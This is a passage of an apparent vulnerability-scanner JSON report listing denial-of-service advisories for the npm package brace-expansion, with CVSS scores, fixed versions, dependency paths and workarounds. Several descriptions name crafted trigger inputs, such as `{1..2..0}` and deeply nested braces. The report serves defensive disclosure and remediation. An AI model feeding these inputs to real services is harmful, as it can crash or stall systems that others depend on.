Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"@tufjs/models@3.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
